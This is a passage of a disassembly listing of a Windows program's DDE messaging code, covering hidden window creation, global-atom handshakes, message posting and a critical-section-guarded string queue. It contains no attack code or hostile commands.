mov eax, [ebp+var_10]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
jmp short loc_4B3994
; ---------------------------------------------------------------------------
loc_4B3979: ; CODE XREF: sub_4B38D3+90j
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_4]
mov [eax+8], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov ecx, [ebp+var_10]
mov edx, [eax+8]
mov [ecx+0Ch], edx
loc_4B3994: ; CODE XREF: sub_4B38D3+A4j
mov eax, [ebp+var_10]
add eax, 10h
push eax
call dword_4ED1AC ; RtlLeaveCriticalSection
mov esp, ebp
pop ebp
retn 4
sub_4B38D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_4B39A7(wchar_t *Dest,size_t Count)
sub_4B39A7 proc near ; CODE XREF: sub_4B3AFF+136p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
Dest = dword ptr 8
Count = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_1C], ecx
mov eax, [ebp+var_1C]
add eax, 10h
push eax
call dword_4ED1A8 ; RtlEnterCriticalSection
mov [ebp+var_4], 0
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+8], 0
jz loc_4B3A8C
mov edx, [ebp+var_1C]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_8]
mov eax, [edx+8]
mov [ecx+8], eax
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+8], 0
jnz short loc_4B39F6
mov edx, [ebp+var_1C]
mov dword ptr [edx+0Ch], 0
loc_4B39F6: ; CODE XREF: sub_4B39A7+43j
cmp [ebp+Dest], 0
jz short loc_4B3A26
cmp [ebp+Count], 0
jle short loc_4B3A26
mov eax, [ebp+Count]
push eax ; Count
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
push edx ; Source
mov eax, [ebp+Dest]
push eax ; Dest
call _wcsncpy
add esp, 0Ch
mov ecx, [ebp+Count]
mov edx, [ebp+Dest]
mov word ptr [edx+ecx*2-2], 0
loc_4B3A26: ; CODE XREF: sub_4B39A7+53j
; sub_4B39A7+59j
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_C], ecx
cmp [ebp+var_C], 0
jz short loc_4B3A81
mov edx, [ebp+var_C]
mov eax, [edx]
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
push ecx
call sub_4C85D6
add esp, 4
mov edx, [ebp+var_C]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
call sub_4C85D6
add esp, 4
mov edx, 1
and edx, 1
test edx, edx
jz short loc_4B3A79
mov eax, [ebp+var_C]
push eax
call sub_4C85D6
add esp, 4
loc_4B3A79: ; CODE XREF: sub_4B39A7+C4j
mov ecx, [ebp+var_C]
mov [ebp+var_20], ecx
jmp short loc_4B3A88
; ---------------------------------------------------------------------------
loc_4B3A81: ; CODE XREF: sub_4B39A7+8Fj
mov [ebp+var_20], 0
loc_4B3A88: ; CODE XREF: sub_4B39A7+D8j
mov [ebp+var_4], 1
loc_4B3A8C: ; CODE XREF: sub_4B39A7+21j
mov edx, [ebp+var_1C]
add edx, 10h
push edx
call dword_4ED1AC ; RtlLeaveCriticalSection
mov al, [ebp+var_4]
mov esp, ebp
pop ebp
retn 8
sub_4B39A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3AA2 proc near ; CODE XREF: .text:004B5DB4p
; .text:004B989Dp
var_8 = dword ptr -8
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp+var_4]
push eax
push 0
push 0
push offset sub_4B3AFF
push 0
push 0
call dword_4ED02C ; CreateThread
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
push ecx
call dword_4ED0E8 ; CloseHandle
cmp [ebp+var_8], 0
jz short loc_4B3AF9
loc_4B3AD2: ; CODE XREF: sub_4B3AA2+49j
mov edx, dword_4F3AD8
push edx
call dword_4ED27C ; IsWindow
test eax, eax
jnz short loc_4B3AED
push 1
call dword_4ED1A4 ; Sleep
jmp short loc_4B3AD2
; ---------------------------------------------------------------------------
loc_4B3AED: ; CODE XREF: sub_4B3AA2+3Fj
push 64h
call dword_4ED1A4 ; Sleep
mov al, 1
jmp short loc_4B3AFB
; ---------------------------------------------------------------------------
loc_4B3AF9: ; CODE XREF: sub_4B3AA2+2Ej
xor al, al
loc_4B3AFB: ; CODE XREF: sub_4B3AA2+55j
mov esp, ebp
pop ebp
retn
sub_4B3AA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3AFF proc near ; DATA XREF: sub_4B3AA2+Eo
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
Dest = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
Dst = dword ptr -28h
Str = dword ptr -24h
var_20 = byte ptr -20h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 50h
call sub_4B3F59
mov dword_4F3AD8, eax
call dword_4ED03C ; GetTickCount
mov [ebp+var_4], eax
loc_4B3B18: ; CODE XREF: sub_4B3AFF:loc_4B3E23j
mov eax, 1
test eax, eax
jz loc_4B3E28
push 1
push 0
push 0
mov ecx, dword_4F3AD8
push ecx
lea edx, [ebp+var_20]
push edx
call dword_4ED280 ; PeekMessageA
test eax, eax
jz short loc_4B3B59
lea eax, [ebp+var_20]
push eax
call dword_4ED260 ; TranslateMessage
lea ecx, [ebp+var_20]
push ecx
call dword_4ED264 ; DispatchMessageA
jmp loc_4B3E23
; ---------------------------------------------------------------------------
loc_4B3B59: ; CODE XREF: sub_4B3AFF+3Fj
xor edx, edx
cmp dword_4F3AE0, 0
setnz dl
and edx, 0FFh
test edx, edx
jz loc_4B3E1B
call dword_4ED03C ; GetTickCount
mov ecx, [ebp+var_4]
add ecx, 1F4h
cmp eax, ecx
jbe loc_4B3E1B
call dword_4ED03C ; GetTickCount
mov [ebp+var_4], eax
cmp dword_4F3ADC, 0
jnz short loc_4B3BAE
push 0
push offset sub_4B3E69
call dword_4ED268 ; EnumWindows
jmp loc_4B3E19
; ---------------------------------------------------------------------------
loc_4B3BAE: ; CODE XREF: sub_4B3AFF+9Bj
mov edx, dword_4F3ADC
push edx
call dword_4ED27C ; IsWindow
test eax, eax
jz loc_4B3E0F
push 20000h
call sub_4C85E1
add esp, 4
mov [ebp+var_44], eax
mov eax, [ebp+var_44]
mov [ebp+Dst], eax
push 20000h ; Size
push 0 ; Val
mov ecx, [ebp+Dst]
push ecx ; Dst
call _memset_0
add esp, 0Ch
push 10000h
call sub_4C85E1
add esp, 4
mov [ebp+var_48], eax
mov edx, [ebp+var_48]
mov [ebp+Str], edx
push 10000h ; Size
push 0 ; Val
mov eax, [ebp+Str]
push eax ; Dst
call _memset_0
add esp, 0Ch
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz loc_4B3D5A
loc_4B3C27: ; CODE XREF: sub_4B3AFF:loc_4B3D50j
push 10000h ; Count
mov ecx, [ebp+Dst]
push ecx ; Dest
mov ecx, offset dword_4F3AD8
call sub_4B39A7
and eax, 0FFh
test eax, eax
jz loc_4B3D55
mov edx, dword_4F3ADC
push edx
call dword_4ED26C ; IsWindowUnicode
test eax, eax
jz short loc_4B3CCD
mov eax, [ebp+Dst]
push eax ; Str
call _wcslen_0
add esp, 4
lea ecx, [eax+eax+1]
push ecx
push 2002h
call dword_4ED038 ; GlobalAlloc
mov [ebp+var_30], eax
mov edx, [ebp+var_30]
push edx
call dword_4ED034 ; GlobalLock
mov [ebp+var_2C], eax
mov eax, [ebp+Dst]
push eax ; Source
mov ecx, [ebp+var_2C]
push ecx ; Dest
call _wcscpy
add esp, 8
mov edx, [ebp+var_30]
push edx
call dword_4ED030 ; GlobalUnlock
mov eax, [ebp+var_30]
push eax
push 0
push 3E8h
call sub_4C85C4 ; PackDDElParam
push eax
mov ecx, dword_4F3AD8
push ecx
push 3E8h
mov edx, dword_4F3ADC
push edx
call dword_4ED274 ; PostMessageW
jmp loc_4B3D50
; ---------------------------------------------------------------------------
loc_4B3CCD: ; CODE XREF: sub_4B3AFF+157j
push 10000h
mov eax, [ebp+Str]
push eax
mov ecx, [ebp+Dst]
push ecx
call sub_4B3E30
add esp, 0Ch
mov edx, [ebp+Str]
push edx ; Str
call _strlen_0
add esp, 4
add eax, 1
push eax
push 2002h
call dword_4ED038 ; GlobalAlloc
mov [ebp+var_38], eax
mov eax, [ebp+var_38]
push eax
call dword_4ED034 ; GlobalLock
mov [ebp+Dest], eax
mov ecx, [ebp+Str]
push ecx ; Source
mov edx, [ebp+Dest]
push edx ; Dest
call _strcpy_0
add esp, 8
mov eax, [ebp+var_38]
push eax
call dword_4ED030 ; GlobalUnlock
mov ecx, [ebp+var_38]
push ecx
push 0
push 3E8h
call sub_4C85C4 ; PackDDElParam
push eax
mov edx, dword_4F3AD8
push edx
push 3E8h
mov eax, dword_4F3ADC
push eax
call dword_4ED278 ; PostMessageA
loc_4B3D50: ; CODE XREF: sub_4B3AFF+1C9j
jmp loc_4B3C27
; ---------------------------------------------------------------------------
loc_4B3D55: ; CODE XREF: sub_4B3AFF+142j
jmp loc_4B3DE9
; ---------------------------------------------------------------------------
loc_4B3D5A: ; CODE XREF: sub_4B3AFF+122j
; sub_4B3AFF+2E5j
push 10000h ; Count
mov ecx, [ebp+Str]
push ecx ; Dest
mov ecx, offset dword_4F3AD8
call sub_4B37DC
and eax, 0FFh
test eax, eax
jz short loc_4B3DE9
mov edx, [ebp+Str]
push edx ; Str
call _strlen_0
add esp, 4
add eax, 1
push eax
push 2002h
call dword_4ED038 ; GlobalAlloc
mov [ebp+var_40], eax
mov eax, [ebp+var_40]
push eax
call dword_4ED034 ; GlobalLock
mov [ebp+var_3C], eax
mov ecx, [ebp+Str]
push ecx ; Source
mov edx, [ebp+var_3C]
push edx ; Dest
call _strcpy_0
add esp, 8
mov eax, [ebp+var_40]
push eax
call dword_4ED030 ; GlobalUnlock
mov ecx, [ebp+var_40]
push ecx
push 0
push 3E8h
call sub_4C85C4 ; PackDDElParam
push eax
mov edx, dword_4F3AD8
push edx
push 3E8h
mov eax, dword_4F3ADC
push eax
call dword_4ED278 ; PostMessageA
jmp loc_4B3D5A
; ---------------------------------------------------------------------------
loc_4B3DE9: ; CODE XREF: sub_4B3AFF:loc_4B3D55j
; sub_4B3AFF+275j
mov ecx, [ebp+Str]
mov [ebp+var_4C], ecx
mov edx, [ebp+var_4C]
push edx
call sub_4C85D6
add esp, 4
mov eax, [ebp+Dst]
mov [ebp+var_50], eax
mov ecx, [ebp+var_50]
push ecx
call sub_4C85D6
add esp, 4
jmp short loc_4B3E19
; ---------------------------------------------------------------------------
loc_4B3E0F: ; CODE XREF: sub_4B3AFF+BEj
mov dword_4F3ADC, 0
loc_4B3E19: ; CODE XREF: sub_4B3AFF+AAj
; sub_4B3AFF+30Ej
jmp short loc_4B3E23
; ---------------------------------------------------------------------------
loc_4B3E1B: ; CODE XREF: sub_4B3AFF+6Ej
; sub_4B3AFF+85j
push 1
call dword_4ED1A4 ; Sleep
loc_4B3E23: ; CODE XREF: sub_4B3AFF+55j
; sub_4B3AFF:loc_4B3E19j
jmp loc_4B3B18
; ---------------------------------------------------------------------------
loc_4B3E28: ; CODE XREF: sub_4B3AFF+20j
xor eax, eax
mov esp, ebp
pop ebp
retn 4
sub_4B3AFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3E30 proc near ; CODE XREF: sub_4B3AFF+1DBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call dword_4ED044 ; IsBadReadPtr
test eax, eax
jz short loc_4B3E48
mov eax, [ebp+arg_0]
jmp short loc_4B3E67
; ---------------------------------------------------------------------------
loc_4B3E48: ; CODE XREF: sub_4B3E30+11j
push 0
push 0
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
push 0FFFFFFFFh
mov eax, [ebp+arg_0]
push eax
push 0
push 0
call dword_4ED040 ; WideCharToMultiByte
mov eax, [ebp+arg_4]
loc_4B3E67: ; CODE XREF: sub_4B3E30+16j
pop ebp
retn
sub_4B3E30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3E69 proc near ; DATA XREF: sub_4B3AFF+9Fo
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED254 ; GetWindowThreadProcessId
mov edx, [ebp+var_4]
cmp edx, dword_4F3B00
jnz loc_4B3F41
mov eax, [ebp+arg_0]
cmp eax, dword_4F3AD8
jz loc_4B3F41
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz short loc_4B3EF6
push offset aPacked ; "packed"
call dword_4ED04C ; GlobalAddAtomW
mov word ptr [ebp+var_8], ax
push offset aSystem ; "System"
call dword_4ED04C ; GlobalAddAtomW
mov word ptr [ebp+var_C], ax
mov ecx, [ebp+var_8]
and ecx, 0FFFFh
mov edx, [ebp+var_C]
and edx, 0FFFFh
shl edx, 10h
or ecx, edx
push ecx
mov eax, dword_4F3AD8
push eax
push 3E0h
mov ecx, [ebp+arg_0]
push ecx
call dword_4ED258 ; SendMessageW
jmp short loc_4B3F41
; ---------------------------------------------------------------------------
loc_4B3EF6: ; CODE XREF: sub_4B3E69+3Ej
push offset dword_4F3B04
call dword_4ED048 ; GlobalAddAtomA
mov word ptr [ebp+var_10], ax
push offset aSystem_0 ; "System"
call dword_4ED048 ; GlobalAddAtomA
mov word ptr [ebp+var_14], ax
mov edx, [ebp+var_10]
and edx, 0FFFFh
mov eax, [ebp+var_14]
and eax, 0FFFFh
shl eax, 10h
or edx, eax
push edx
mov ecx, dword_4F3AD8
push ecx
push 3E0h
mov edx, [ebp+arg_0]
push edx
call dword_4ED25C ; SendMessageA
loc_4B3F41: ; CODE XREF: sub_4B3E69+1Dj
; sub_4B3E69+2Cj ...
cmp dword_4F3ADC, 0
jz short loc_4B3F4E
xor eax, eax
jmp short loc_4B3F53
; ---------------------------------------------------------------------------
loc_4B3F4E: ; CODE XREF: sub_4B3E69+DFj
mov eax, 1
loc_4B3F53: ; CODE XREF: sub_4B3E69+E3j
mov esp, ebp
pop ebp
retn 8
sub_4B3E69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B3F59 proc near ; CODE XREF: sub_4B3AFF+6p
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 60h
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz loc_4B401B
mov [ebp+var_30], offset aSwpdde ; "SwPDDE"
mov [ebp+var_2C], 0Bh
mov [ebp+var_28], offset sub_4B40C4
mov [ebp+var_24], 0
mov [ebp+var_20], 0
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
push 7F00h
push 0
call dword_4ED240 ; LoadCursorA
mov [ebp+var_14], eax
mov [ebp+var_10], 6
mov [ebp+var_C], 0
mov eax, [ebp+var_30]
mov [ebp+var_8], eax
lea ecx, [ebp+var_2C]
push ecx
call dword_4ED244 ; RegisterClassW
push 0
push 0
call dword_4ED050 ; GetModuleHandleA
push eax
push 0
push 0
push 80000000h
push 80000000h
push 80000000h
push 80000000h
push 2CF0000h
push offset off_4ED374
mov edx, [ebp+var_30]
push edx
push 40300h
call dword_4ED248 ; CreateWindowExW
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jmp loc_4B40C0
; ---------------------------------------------------------------------------
loc_4B401B: ; CODE XREF: sub_4B3F59+12j
mov [ebp+var_60], offset aSwpdde_0 ; "SwPDDE"
mov [ebp+var_5C], 0Bh
mov [ebp+var_58], offset sub_4B40C4
mov [ebp+var_54], 0
mov [ebp+var_50], 0
push 0
call dword_4ED050 ; GetModuleHandleA
mov [ebp+var_4C], eax
mov [ebp+var_48], 0
push 7F00h
push 0
call dword_4ED240 ; LoadCursorA
mov [ebp+var_44], eax
mov [ebp+var_40], 6
mov [ebp+var_3C], 0
mov eax, [ebp+var_60]
mov [ebp+var_38], eax
lea ecx, [ebp+var_5C]
push ecx
call dword_4ED24C ; RegisterClassA
push 0
push 0
call dword_4ED050 ; GetModuleHandleA
push eax
push 0
push 0
push 80000000h
push 80000000h
push 80000000h
push 80000000h
push 2CF0000h
push offset aDdeProcessing ; "DDE Processing"
mov edx, [ebp+var_60]
push edx
push 40300h
call dword_4ED250 ; CreateWindowExA
mov [ebp+var_34], eax
mov eax, [ebp+var_34]
loc_4B40C0: ; CODE XREF: sub_4B3F59+BDj
mov esp, ebp
pop ebp
retn
sub_4B3F59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B40C4 proc near ; DATA XREF: sub_4B3F59+26o
; sub_4B3F59+D0o
var_628 = dword ptr -628h
var_624 = dword ptr -624h
var_620 = dword ptr -620h
var_61C = dword ptr -61Ch
var_618 = dword ptr -618h
var_614 = dword ptr -614h
var_610 = dword ptr -610h
var_60C = byte ptr -60Ch
var_60B = byte ptr -60Bh
Str = byte ptr -50Ch
var_50B = byte ptr -50Bh
var_40C = word ptr -40Ch
var_40A = byte ptr -40Ah
Str1 = word ptr -20Ch
var_20A = byte ptr -20Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 628h
push edi
mov eax, [ebp+arg_4]
mov [ebp+var_628], eax
mov ecx, [ebp+var_628]
sub ecx, 3E0h
mov [ebp+var_628], ecx
cmp [ebp+var_628], 8
ja loc_4B4540
mov edx, [ebp+var_628]
jmp ds:off_4B455D[edx*4]
loc_4B4103: ; DATA XREF: .text:off_4B455Do
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
mov cx, word ptr [ebp+arg_C]
mov word ptr [ebp+var_8], cx
mov edx, [ebp+arg_C]
shr edx, 10h
and edx, 0FFFFh
mov word ptr [ebp+var_C], dx
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz loc_4B4264
mov ax, word_4F4124
mov [ebp+Str1], ax
mov ecx, 7Fh
xor eax, eax
lea edi, [ebp+var_20A]
rep stosd
stosw
mov cx, word_4F4124
mov [ebp+var_40C], cx
mov ecx, 7Fh
xor eax, eax
lea edi, [ebp+var_40A]
rep stosd
stosw
push 100h
lea edx, [ebp+Str1]
push edx
mov ax, word ptr [ebp+var_8]
push eax
call dword_4ED060 ; GlobalGetAtomNameW
push 100h
lea ecx, [ebp+var_40C]
push ecx
mov dx, word ptr [ebp+var_C]
push edx
call dword_4ED060 ; GlobalGetAtomNameW
lea eax, [ebp+Str1]
push eax ; Str
call _wcslen_0
add esp, 4
test eax, eax
jz loc_4B425F
push offset aPacked ; "packed"
lea ecx, [ebp+Str1]
push ecx ; Str1
call __wcsicmp_0
add esp, 8
test eax, eax
jz short loc_4B41E5
push offset aPacked_0 ; "packed"
lea edx, [ebp+Str1]
push edx ; Str1
call __wcsicmp_0
add esp, 8
test eax, eax
jnz short loc_4B425F
loc_4B41E5: ; CODE XREF: sub_4B40C4+107j
push offset aSystem ; "System"
lea eax, [ebp+var_40C]
push eax ; Str1
call __wcsicmp_0
add esp, 8
test eax, eax
jnz short loc_4B425F
mov cx, word ptr [ebp+var_8]
push ecx
call dword_4ED05C ; GlobalDeleteAtom
mov dx, word ptr [ebp+var_C]
push edx
call dword_4ED05C ; GlobalDeleteAtom
lea eax, [ebp+Str1]
push eax
call dword_4ED04C ; GlobalAddAtomW
mov word ptr [ebp+var_8], ax
lea ecx, [ebp+var_40C]
push ecx
call dword_4ED04C ; GlobalAddAtomW
mov word ptr [ebp+var_C], ax
mov edx, [ebp+var_8]
and edx, 0FFFFh
mov eax, [ebp+var_C]
and eax, 0FFFFh
shl eax, 10h
or edx, eax
push edx
mov ecx, [ebp+arg_0]
push ecx
push 3E4h
mov edx, [ebp+var_4]
push edx
call dword_4ED258 ; SendMessageW
loc_4B425F: ; CODE XREF: sub_4B40C4+EBj
; sub_4B40C4+11Fj ...
jmp loc_4B438E
; ---------------------------------------------------------------------------
loc_4B4264: ; CODE XREF: sub_4B40C4+69j
mov al, byte_4F4120
mov [ebp+Str], al
mov ecx, 3Fh
xor eax, eax
lea edi, [ebp+var_50B]
rep stosd
stosw
stosb
mov cl, byte_4F4120
mov [ebp+var_60C], cl
mov ecx, 3Fh
xor eax, eax
lea edi, [ebp+var_60B]
rep stosd
stosw
stosb
push 100h
lea edx, [ebp+Str]
push edx
mov ax, word ptr [ebp+var_8]
push eax
call dword_4ED058 ; GlobalGetAtomNameA
push 100h
lea ecx, [ebp+var_60C]
push ecx
mov dx, word ptr [ebp+var_C]
push edx
call dword_4ED058 ; GlobalGetAtomNameA
lea eax, [ebp+Str]
push eax ; Str
call _strlen_0
add esp, 4
test eax, eax
jz loc_4B438E
push offset dword_4F3B04
lea ecx, [ebp+Str]
push ecx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jz short loc_4B4314
push offset dword_4F3C08
lea edx, [ebp+Str]
push edx
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B438E
loc_4B4314: ; CODE XREF: sub_4B40C4+236j
push offset aSystem_0 ; "System"
lea eax, [ebp+var_60C]
push eax
call unknown_libname_20 ; Microsoft VisualC 2-8/net runtime
add esp, 8
test eax, eax
jnz short loc_4B438E
mov cx, word ptr [ebp+var_8]
push ecx
call dword_4ED05C ; GlobalDeleteAtom
mov dx, word ptr [ebp+var_C]
push edx
call dword_4ED05C ; GlobalDeleteAtom
lea eax, [ebp+Str]
push eax
call dword_4ED048 ; GlobalAddAtomA
mov word ptr [ebp+var_8], ax
lea ecx, [ebp+var_60C]
push ecx
call dword_4ED048 ; GlobalAddAtomA
mov word ptr [ebp+var_C], ax
mov edx, [ebp+var_8]
and edx, 0FFFFh
mov eax, [ebp+var_C]
and eax, 0FFFFh
shl eax, 10h
or edx, eax
push edx
mov ecx, [ebp+arg_0]
push ecx
push 3E4h
mov edx, [ebp+var_4]
push edx
call dword_4ED25C ; SendMessageA
loc_4B438E: ; CODE XREF: sub_4B40C4:loc_4B425Fj
; sub_4B40C4+21Aj ...
xor eax, eax
jmp loc_4B4556
; ---------------------------------------------------------------------------
loc_4B4395: ; CODE XREF: sub_4B40C4+38j
; DATA XREF: .text:004B457Do
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz short loc_4B43D0
mov eax, [ebp+arg_C]
push eax
call dword_4ED034 ; GlobalLock
mov [ebp+var_610], eax
mov ecx, [ebp+var_610]
push ecx ; Str
mov ecx, offset dword_4F3AD8
call sub_4B38D3
mov edx, [ebp+arg_C]
push edx
call dword_4ED030 ; GlobalUnlock
jmp short loc_4B43FB
; ---------------------------------------------------------------------------
loc_4B43D0: ; CODE XREF: sub_4B40C4+2DDj
mov eax, [ebp+arg_C]
push eax
call dword_4ED034 ; GlobalLock
mov [ebp+var_614], eax
mov ecx, [ebp+var_614]
push ecx ; Str
mov ecx, offset dword_4F3AD8
call sub_4B370A
mov edx, [ebp+arg_C]
push edx
call dword_4ED030 ; GlobalUnlock
loc_4B43FB: ; CODE XREF: sub_4B40C4+30Aj
mov eax, [ebp+arg_C]
push eax
push 8000h
push 3E4h
call sub_4C85C4 ; PackDDElParam
push eax
mov ecx, [ebp+arg_0]
push ecx
push 3E4h
mov edx, [ebp+arg_8]
push edx
call dword_4ED278 ; PostMessageA
xor eax, eax
jmp loc_4B4556
; ---------------------------------------------------------------------------
loc_4B4429: ; CODE XREF: sub_4B40C4+38j
; DATA XREF: .text:004B456Do
call dword_4ED230 ; InSendMessage
test eax, eax
jz short loc_4B445E
mov eax, [ebp+arg_8]
mov dword_4F3ADC, eax
mov cx, word ptr [ebp+arg_C]
push ecx
call dword_4ED05C ; GlobalDeleteAtom
mov edx, [ebp+arg_C]
shr edx, 10h
and edx, 0FFFFh
push edx
call dword_4ED05C ; GlobalDeleteAtom
jmp loc_4B4516
; ---------------------------------------------------------------------------
loc_4B445E: ; CODE XREF: sub_4B40C4+36Dj
lea eax, [ebp+var_61C]
push eax
lea ecx, [ebp+var_618]
push ecx
mov edx, [ebp+arg_C]
push edx
push 3E4h
call sub_4C85D0 ; UnpackDDElParam
mov eax, [ebp+var_618]
and eax, 8000h
test eax, eax
jnz short loc_4B44FB
call sub_4B36BD
and eax, 0FFh
test eax, eax
jz short loc_4B44CA
mov ecx, [ebp+var_61C]
push ecx
call dword_4ED034 ; GlobalLock
mov [ebp+var_620], eax
mov edx, [ebp+var_620]
push edx ; Str
mov ecx, offset dword_4F3AD8
call sub_4B38D3
mov eax, [ebp+var_61C]
push eax
call dword_4ED030 ; GlobalUnlock
jmp short loc_4B44FB
; ---------------------------------------------------------------------------
loc_4B44CA: ; CODE XREF: sub_4B40C4+3D1j
mov ecx, [ebp+var_61C]
push ecx
call dword_4ED034 ; GlobalLock
mov [ebp+var_624], eax
mov edx, [ebp+var_624]
push edx ; Str
mov ecx, offset dword_4F3AD8
call sub_4B370A
mov eax, [ebp+var_61C]
push eax
call dword_4ED030 ; GlobalUnlock
loc_4B44FB: ; CODE XREF: sub_4B40C4+3C3j
; sub_4B40C4+404j
mov ecx, [ebp+arg_C]
push ecx
push 3E4h
call sub_4C85CA ; FreeDDElParam
mov edx, [ebp+var_61C]
push edx
call dword_4ED054 ; GlobalFree
loc_4B4516: ; CODE XREF: sub_4B40C4+395j
xor eax, eax
jmp short loc_4B4556
; ---------------------------------------------------------------------------
loc_4B451A: ; CODE XREF: sub_4B40C4+38j
; DATA XREF: .text:004B4561o
push 0
push 0
mov eax, [ebp+arg_0]
push eax
push 3E1h
call sub_4C85C4 ; PackDDElParam
push eax
push 3E1h
mov ecx, [ebp+arg_8]
push ecx
call dword_4ED278 ; PostMessageA
xor eax, eax
jmp short loc_4B4556
; ---------------------------------------------------------------------------
loc_4B4540: ; CODE XREF: sub_4B40C4+2Cj
; sub_4B40C4+38j
; DATA XREF: ...
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call dword_4ED23C ; DefWindowProcA
loc_4B4556: ; CODE XREF: sub_4B40C4+2CCj
; sub_4B40C4+360j ...
pop edi
mov esp, ebp
pop ebp
retn 10h
sub_4B40C4 endp
; ---------------------------------------------------------------------------
off_4B455D dd offset loc_4B4103 ; DATA XREF: sub_4B40C4+38r
dd offset loc_4B451A
dd offset loc_4B4540
dd offset loc_4B4540
dd offset loc_4B4429
dd offset loc_4B4540
dd offset loc_4B4540
dd offset loc_4B4540
dd offset loc_4B4395
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B4581 proc near ; CODE XREF: .text:004B999Fp
; .text:004B9A8Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword_4F3B00, eax
pop ebp
retn
sub_4B4581 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+8]
mov ecx, 0Ah
mov al, 0CCh
repne scasb
test ecx, ecx
jnz short loc_4B45AA
xor al, al
jmp short loc_4B45AC
; ---------------------------------------------------------------------------
loc_4B45AA: ; CODE XREF: .text:004B45A4j
mov al, 1
loc_4B45AC: ; CODE XREF: .text:004B45A8j
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B45B1 proc near ; CODE XREF: .text:004B5FEFp
; WinMain(x,x,x,x)+339p
push ebp
mov ebp, esp
mov eax, dword_4F4370
mov eax, off_4ED444[eax*4]
pop ebp
retn
sub_4B45B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4B45C2 proc near ; CODE XREF: .text:004B6004p
; .text:004B602Ap ...
push ebp
mov ebp, esp
mov eax, offset byte_4F4374
pop ebp
retn
sub_4B45C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4B45CC proc near ; DATA XREF: .text:004B56CDo
; .text:loc_4B5DECo ...
push ebp
mov ebp, esp
push 10h
push 0
push offset aInsufficientMe ; "Insufficient memory!"
push 0
call dword_4ED22C ; MessageBoxA
